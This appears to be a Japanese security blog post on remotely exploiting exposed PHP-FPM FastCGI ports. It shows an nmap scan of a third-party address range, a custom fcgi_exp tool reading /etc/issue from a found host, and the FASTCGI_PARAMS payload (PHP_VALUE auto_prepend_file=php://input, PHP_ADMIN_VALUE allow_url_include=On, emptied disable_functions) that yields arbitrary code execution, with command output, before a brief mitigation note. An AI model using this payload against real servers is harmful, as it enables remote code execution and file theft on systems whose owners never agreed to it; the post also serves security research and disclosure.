PHP FastCGIのリモート利用

4842 ワード

FastCGIといえば、現在最も一般的なwebserver動的スクリプト実行モデルの一つであることが知られています.現在、ほとんどのウェブスクリプトは基本的にこのモードをサポートしており、一部のタイプのスクリプトは唯一のモード(ROR、Pythonなど)である. 
FastCGIの主な目的は,webserverと動的言語の実行を2つの異なる常駐プロセスに分け,webserverが動的スクリプトの要求を受信すると,fcgiプロトコルにより要求をネットワークを介してfcgiプロセスに転送し,fcgiプロセスによって処理した後,結果をwebserverに転送し,webserverがブラウザに出力することである.このモデルは,要求のたびにcgiを再起動したり,スクリプト解析器をwebserverに埋め込んだりする必要がないため,伸縮性が強く,動的スクリプト要求量が増加すると,バックエンドfcgiプロセスを個別にクラスタ化してサービスを提供することができ,メンテナンス性が大幅に増加することも,fcgiなどの類似モードがこのように流行している理由の一つである. 
しかし、このパターンだからこそ、いくつかの問題ももたらしている.例えば昨年80 secで発表された「nginxファイル解析脆弱性」
実際にはfcgiとwebserverのscriptパスレベルパラメータの理解が異なるために発生する問題である.それ以外に、fcgiとwebserverはネットワークを通じてコミュニケーションを行うため、現在ますます多くのクラスタがfcgiを公網に直接バインドし、すべての人がアクセスすることができます.これは、誰もがwebserverに偽装して、fcgiに実行したいスクリプトの内容を実行させることができることを意味します. 
OK、以上が背景の原理の解釈で、私はここで私の最もよく知っているPHPで皆さんに例をあげます. 
phpのfastcgiは現在FPMと呼ばれている.彼がデフォルトで傍受しているポートは9000ポートです.ここではnmapで直接スキャンします.nmap -sV -p 9000 --open x.x.x.x/24
どうしてsVを使うの?9000ポートには他のサービスがある可能性がありますので、nmapの指紋認識を借りて鑑定してください.  [root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24 

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT 
Nmap scan report for abc.net (173.xxx.xxx.111) 
Host is up (0.0095s latency). 
PORT     STATE SERVICE VERSION 
9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0) 
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel 

Nmap scan report for abc.com (173.xxx.xxx.183) 
Host is up (0.0096s latency). 
PORT     STATE SERVICE    VERSION 
9000/tcp open  tcpwrapped 

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . 
Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

勝手にスキャンしてみると、運がいいです.1つのCセグメントには9000ポートが2つ開いていますが、そのうちの1つは管理者に修正されたsshdで、もう1つのtcpwrappedが私たちの目標です. 
テストのためにfastcgiのクライアントプログラムを書いて、直接相手に要求しました.オープンfastcgiを利用して何の役に立つのでしょうか?ここでは通常のhttpリクエストとは少し違います.webserverはfastcgiのいくつかのパラメータを提供するために、リクエストを転送するたびにFASTCGI_を通過するからです.PARAMSのパケットはfcgiプロセスに渡される.本来、これらのパラメータはユーザーが制御できないものですが、このfcgiが公開されている以上、これらのパラメータを設定することで、本来できないことをすることができます.[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue 

X-Powered-By: PHP/5.3.2-1ubuntu4.9 
Content-type: text/html 

Ubuntu 10.04.3 LTS
\l

/etc/issueファイルを読むとubuntu 10.04のマシンであることがわかります.それはどうやって実現したのでしょうか.実はFASTCGIでPARAMSにて、DOCUMENT_を設定ROOTは「/」ルートディレクトリで、SCRIPT_を設定します.FILENAMEは/etc/issueです.これにより、私たちに権限があれば、fcgiを制御してこの機械の任意のファイルを読み取ることができます.実際には読み取りではなく
phpで実行します

実行である以上、この脆弱性は普通のLFI脆弱性に似ています.このマシンのlogパス、またはコンテンツを制御できるファイルパスを知っていれば、任意のコードを実行することができます. 
ここまでですか.いいえ、もしlogを利用したり、他のファイルパスを当てたりしてコードを実行したりしたら、まだ便利ではありません.もっと便利な利用方法で、私が提出したコードを実行させることができますか? 
ここでもいろいろな方法を探しましたが、最初に考えたのはenvパラメータを渡してから/proc/self/environファイルを実行することです.残念ながらphp-fpmは私のパラメータ値を受信した後、メモリの中で環境変数を変更しただけで、このファイルを直接変更することはありません.だから利用できない.ましてこの方式はすべてのシステムが通用するわけではない. 
もう一つの方法は、私が前に書いた「CVE-2012-1823(PHP-CGI RCE)のPoCと技術的な挑戦」です.
で、phpを動的に変更することができる.iniのauto_prepend_fileの値は、任意のファイルをリモートで実行します.LFIの脆弱性をRFIに変えることで,利用可能な空間が大幅に増加する. 
fastcgiはphpの構成を動的に変更することもサポートしていますか?資料を調べてみると、ある開発者がバグを提出するまでFPMはサポートされていなかった.
php公式はこの特性を
Mergeはphp 5.3.3のソースコードに行きます. 
汎用パス設定FASTCGI_PARAMS、PHPを利用できますADMIN_VALUEとPHP_VALUEはphpの設定を動的に変更します.  env["REQUEST_METHOD"] = "POST" 
env["PHP_VALUE"] = "auto_prepend_file = php://input" 
env["PHP_ADMIN_VALUE"] = "allow_url_include = On
disable_functions =
safe_mode = Off"

利用するphp://inputその後、POSTの内容にphpコードを書き込んで、直接実行することができます.  [root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"     

X-Powered-By: PHP/5.5.0-dev 
Content-type: text/html 

uid=500(www) gid=500(www) groups=500(www) 
Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

注意深い人はここが少し変わっていることに気づいて、私は本機を変えてテストをしました.最初に発見されたマシンのphpバージョンは5.3.2で、ちょうど5.3.3を下回っているため、ini設定を修正してコードを実行することはできず、パスを推測するしかありません. 
もう一つの変化は、/etc/issueを読み取るのではなく、/tmp/a.phpというphpファイルを読み取ることです.5.3.9からphp公式に「security.limit_extensions」という構成が追加されたため、デフォルトでは拡張子「.php」というファイルしか実行できません.そのため、すでに存在するphpファイルを見つけなければなりません.この設定はphp-fpmですconfでは、iniの構成を変更して上書きすることはできません.もし誰かがこの制限を迂回できるもっと良い方法があれば、教えてください. 
OK、これまでphp-fpmのすべてのテストが終了しました.私たちは対外的に開放されたfcgiプロセスを利用して、shellを直接取得することができます.皆さんも他のfcgiを研究したほうがいいです.もっと発見があるかもしれません. 
この脆弱性を防ぐにはどうすればいいですか?簡単です.fcgiインタフェースを公網に露出しないでください.将来fcgiにアイデンティティ認証メカニズムがあることも望んでいる. 
本文で使用したテストプログラムとソースコードはここでダウンロードすることができます
 
任意のシステムでコンパイルするには、golangをインストールした後、次の手順に従います.go build fcgi_exp.go